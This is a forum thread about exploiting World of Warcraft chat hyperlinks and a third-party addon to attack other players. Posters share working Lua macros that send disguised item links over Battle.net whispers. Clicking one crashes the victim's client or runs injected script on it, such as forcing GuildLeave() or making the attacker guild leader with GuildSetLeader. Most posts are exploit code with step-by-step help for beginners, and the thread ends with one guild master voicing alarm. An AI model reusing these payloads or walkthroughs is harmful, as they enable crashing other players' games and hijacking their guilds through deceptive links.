Crash other's WoW with trickery (Tips and Tricks)

[Grevel]

So what exactly is the FTest function doing to make someone log off?

Looking at the LUA, I can't discern this.

I'm just curious, would appreciate it. Thanks in advance. Also

[cms1313]

so the .lua code for linking the fetish in a whisper is

function FTestFunction(ID)
	BNSendWhisper(ID, "|cffFF4E00|Hlevelup:-1:LEVEL_UP_TYPE_CHARACTER|hHey, guess what I just got? its [Fetish of the Bloodthirsty Gladiator] |h|r")
end

can someone with some .lua skill please switch the channel from real id to trade? (i believe its the BNSendWhisper(ID part) that shouldnt be too hard. that means you will think the fetish in trade and everyone that clicks it will get crashed. this can be insanely powerful, and ofc, very banable

[QtDemon]

so the .lua code for linking the fetish in a whisper is

function FTestFunction(ID)
	BNSendWhisper(ID, "|cffFF4E00|Hlevelup:-1:LEVEL_UP_TYPE_CHARACTER|hHey, guess what I just got? its [Fetish of the Bloodthirsty Gladiator] |h|r")
end

can someone with some .lua skill please switch the channel from real id to trade? (i believe its the BNSendWhisper(ID part) that shouldnt be too hard. that means you will think the fetish in trade and everyone that clicks it will get crashed. this can be insanely powerful, and ofc, very banable

I'm not really sure, but i think these ... fake links only work in battlenet whispers. There are some links that i've came across that when i linked in guild chat they wont show up, but when i link to someone in battlenet it shows up fine.

[BonutDot]

so the .lua code for linking the fetish in a whisper is

function FTestFunction(ID)
	BNSendWhisper(ID, "|cffFF4E00|Hlevelup:-1:LEVEL_UP_TYPE_CHARACTER|hHey, guess what I just got? its [Fetish of the Bloodthirsty Gladiator] |h|r")
end

can someone with some .lua skill please switch the channel from real id to trade? (i believe its the BNSendWhisper(ID part) that shouldnt be too hard. that means you will think the fetish in trade and everyone that clicks it will get crashed. this can be insanely powerful, and ofc, very banable :D

The way it works, no.

This function (BNSendWhisper(presenceId, text)) is using the battle.net realid identifier number as the presenceId, and substituting a hyperlink instead of plain text.

Hyperlinks take the form H|(linktype):(linkdata)|h(text)|h|r, where (linktype) determines the type of link, (linkdata) is a code referencing the linked information, and (text) is the text visible to the player.

|cffFF4E00 - This section says that it is a color string prefix with hex data of FF 4E 00 (I think the first set of ff's is the alpha gradient, can't remember though)

|Hlevelup - The linktype (levelup)

:-1:LEVEL_UP_TYPE_CHARACTER -This is the linkdata, separated into 2 parts. This particular message says that your personal character just reached level -1. Grats!

|hHey, guess what I just got? its [Fetish of the Bloodthirsty Gladiator] |h|r - This is the text that shows up in chat.

You should be able to see that this is not in any way a standard "[Level 10]"-style levelup message. The entire body of blue text is behaving as the clickable achievement thing. I don't know what part of this is mishandled by the realID section, but it apparently does its job. Blizzard should probably fix this before too many people get banned.

EDIT: I bet I know why this crashes people. RealID lets you click custom links if you're both playing wow. Normal wow chat probably has all kinds of filters that catch the offending code before it crashes.

[Slippo]

/dump BNGetFriendInfo(number)
Dump = value BNGetFriendInfo(number)
empty result.

Can u help me pls?

[Horneyyy]

/dump BNGetFriendInfo(number)
Dump = value BNGetFriendInfo(number)
empty result.

Can u help me pls?

You look on your bnet friends list, and the guy at the top is #1. So if you wanted to send him stuff through this addon, you must first type /dump BNGetFriendInfo(1). This will dump information about your friend into your chatlog. The first value it prints will be the number that you use in the rest of the functions.

So, say you did /dump BNGetFriendInfo(16) and the first value given is 173. Then you put this number in the other /script functions. So, to send that guy the crashing script, you just type into chat "/script FTestFunction(173)". It is explained in the first post, but w/e. Hope this helped.

[Slippo]

i only play on pservers. Can i use it on pservers??

[MrFaned]

For some reason, whenever someone clicks on the item link it pops up as "You have reached level -1". But no D/C. Help please?

[shorstuff910mc]

[

For some reason, whenever someone clicks on the item link it pops up as "You have reached level -1". But no D/C. Help please?

That means that the function that it calls, I believe it is along the lines of GetNextLevelInfo(number); (or something similar), no longer causes a fatal error when trying to access something that is out of range (a negative number). Has anyone tried it with a NaN? Such as diving by zero? Or null values/incorrect values?

TL;DR: FTESTFUNCTION = HOTFIXED. REST = FINE.

[MrFaned]

[ That means that the function that it calls, I believe it is along the lines of GetNextLevelInfo(number); (or something similar), no longer causes a fatal error when trying to access something that is out of range (a negative number). Has anyone tried it with a NaN? Such as diving by zero? Or null values/incorrect values?

TL;DR: FTESTFUNCTION = HOTFIXED. REST = FINE.

Buttt, is there a way to actually fix this?

[shorstuff910mc]

Quick update on XTestFunction().

The exact code is found in the core file, KnowItAll.lua, in a function SetItemRef(link, text, button, chatFrame) on line 1075, referring to a parameter on line 1196, and a script on line 1197.

It reads:

	elseif string.sub(func, 0, 6) == "KIA_RS" then
		RunScript(string.sub(func, 7))

While the code in XTestFunction reads:

BNSendWhisper(ID, "|HKIA_LINK:KIA_R"..script.."|h"..link.."|h")

The proper code is:

BNSendWhisper(ID, "|HKIA_LINK:KIA_RS"..script.."|h"..link.."|h")

in order to run remote scripts, unless another custom message is sent each time (IE: It's still possible either way). If you do not want to make any choices, make sure the script section starts with a capital S, that way when it is parsed it will execute properly.

To fix the code manually, go into the code and set up the revised code as indicated. If that's difficult, using this macro (once per log in) will rewrite the function in temporary memory, so that during your session it will execute as you have specified in the macro.

/script function XTestFunction(ID, script, link); BNSendWhisper(ID, "|HKIA_LINK:KIA_R"..script.."|h"..link.."|h"); end;

Next, some example scripts are:

/script XTestFunction(500, "GuildLeave();", "Did you see the new [Sword of Renewed Souls]?");

Causing a Fatal Error through lua on a WoW Client is a difficult task (although, not nearly as difficult as it should be). I'm going to give credits on this find to: Bugs in string.replace API - Forums - World of Warcraft

They specified: #("a"):rep(3000):replace("a","bbbb") will reference memory that cannot be accessed or is out of range. This causes a fatal error, similar to FTestFunction that comes standard with the addon. But, with my previous update, FTestFunction was fixed, and will no longer fatal error anyone who clicks on the link. Running the script that is above exceeds the buffer limit, and crashes anyone that also has the addon enabled. So, although it is not as effective as Hp94's FTestFunction, it is still possible.

Other fun scripts include:

GuildLeave(); --Leave guild
GuildSetLeader("yourNameHere") --sets whoever you list as leader
DelIgnore("name") --removes someone from the ignore list
StopMusic() --instant silence!

And etc. I'll be back to update this more when I can.

[Dalle]

The command is:

GuildSetLeader("yourName");

Making the script look something like:

/script XTestFunction(guildLeadersIDHere, "GuildSetLeader("yourPlayerName"); print("\124cff00ff00Deadly Boss Mods has promoted someone to Guild Leader. Please notify DBM of this vulnerability.");", "Is [Shadowmourne] gemmed right?");

The "Print" is just a warning to set off the trail, you can change it to anything you want.

So if I get this right, then if my GM gets the addon, and I send him this script
/script XTestFunction(guildLeadersIDHere, "GuildSetLeader("Rigoz"); print("\124cff00ff00Deadly Boss Mods has promoted someone to Guild Leader. Please notify DBM of this vulnerability.");", "Is [Shadowmourne] gemmed right?");

Then I will become GM if he press the shadowmourne link? My char is called Rigoz

[xlAnonym0uslx]

Where exactly do I enter the commands such as:

function XTestFunction(ID, script, link)
BNSendWhisper(ID, "|HKIA_LINK:KIA_R"..script.."|h"..link.."|h")
end

And do I enter everything or only the orange text? I apologize for being a noob, I'm not familiar with this addon or really any programming related with it.

EDIT: Also, could you let me know how to input something like "!joke --replys with a joke" to put it into effect.

[shorstuff910mc]

So if I get this right, then if my GM gets the addon, and I send him this script
/script XTestFunction(guildLeadersIDHere, "GuildSetLeader("Rigoz"); print("\124cff00ff00Deadly Boss Mods has promoted someone to Guild Leader. Please notify DBM of this vulnerability.");", "Is [Shadowmourne] gemmed right?");

Then I will become GM if he press the shadowmourne link? My char is called Rigoz

Correct! Actually, though, you may have to put a capital S in front of the script, as in the command line inside the addon, it sends KIA_R, but the receiver requires KIA_RS to run. That means if you put S in front, it is actually using injection to run the addon differently than it normally would.

So, where it says GuildSetLeader("Rigoz");, put in SGuildSetLeader("Rigoz"); if it didn't work before. I'm 'iffy' on this one.

Where exactly do I enter the commands such as:

function XTestFunction(ID, script, link)
BNSendWhisper(ID, "|HKIA_LINK:KIA_R"..script.."|h"..link.."|h")
end

And do I enter everything or only the orange text? I apologize for being a noob, I'm not familiar with this addon or really any programming related with it.

EDIT: Also, could you let me know how to input something like "!joke --replys with a joke" to put it into effect.

Whisper yourself !joke. Then that command executes. Ones with parameters would look like !command parameter moreParameter extraParameter. Or something along those lines (IE !send {playerName} is unique, though). For the XTestFunction, just type in the game:

/script XTestFunction("ID", "Sscript", "Link");

[xph34rb0tx]

Honestly, as a GM, I'd have to say this addon scares the living **** out of me.

It looks like this could become dangerous as shit, post updates to whether or not it gets fixed.